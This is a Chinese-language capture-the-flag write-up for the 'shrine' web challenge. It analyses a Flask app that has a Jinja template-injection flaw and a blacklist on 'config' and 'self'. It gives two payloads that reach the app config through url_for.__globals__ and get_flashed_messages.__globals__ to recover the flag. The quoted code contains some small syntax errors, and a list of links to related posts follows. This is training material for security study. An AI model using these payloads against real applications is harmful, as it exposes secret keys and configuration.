攻防世界-Web-shrine

知识点

1.SSTI

步骤

打开网站,是一份pythone flask框架代码,分析。

python 复制代码
import flask
import os

app = flask.Flask(__name__)
app.config["FLAG"] //将flag写入config中
l = os.environ.pop("FLAG")


@app.route("/")   //访问根目录,读取__file__的内容
def index():
    return open(__file__).read()


@app.route("/shrine/")
def shrine(shrine):
    def safe_jinja(s):
        s = s.replace("(", "").replace(")", "") //过滤括号
        blacklist = ["config", "self"]    //黑名单,过滤config和self
        return "".join(["{{% set {}=None%}}".format(c) for c in blacklist]) + s //按照黑名单的过滤

    return flask.render_template_string(safe_jinja(shrine))  //存在模版注入


if __name__ == "__main__":
    app.run(debug=True)

可以发现在config中存在flag,所以目标就是读取config

1.测试模版注入

2.正常读取config

发现被过滤成None

3.尝试其他读取方式

使用get_flashed_messages或者url_for.__globals读取config

python 复制代码
{{url_for.__globals__['current_app'].config}}

{{get_flashed_messages.__globals__['current_app'].config}}

flag{shrine_is_good_ssti}

相关推荐
三七吃山漆8 小时前
攻防世界——wife_wife
前端·javascript·web安全·网络安全·ctf
骥龙12 小时前
4.15、AI 在网络安全中的应用与对抗:AI 驱动攻击与防御
网络安全
Neolnfra14 小时前
任意文件上传漏洞
计算机网络·web安全·网络安全·系统安全·网络攻击模型·安全威胁分析·安全架构
文刀竹肃15 小时前
DVWA -XSS(DOM)-通关教程-完结
前端·安全·网络安全·xss
Neolnfra18 小时前
陇剑杯2021-wifi题目解析
网络·安全·web安全·网络安全·系统安全·密码学·csrf
wha the fuck40419 小时前
(渗透脚本)TCP创建连接脚本----解题----极客大挑战2019HTTP
python·网络协议·tcp/ip·网络安全·脚本书写
亿.621 小时前
2025鹏城杯 Web
java·安全·web·ctf·鹏城杯
白帽黑客-晨哥21 小时前
网络安全怎么考公?
web安全·网络安全·信息安全·渗透测试·考公
小肖爱笑不爱笑21 小时前
2025/12/16 HTML CSS
java·开发语言·css·html·web
白帽黑客-晨哥1 天前
湖南网安基地:构筑网络安全人才培养新高地
web安全·网络安全·渗透测试·就业·湖南网安基地·安服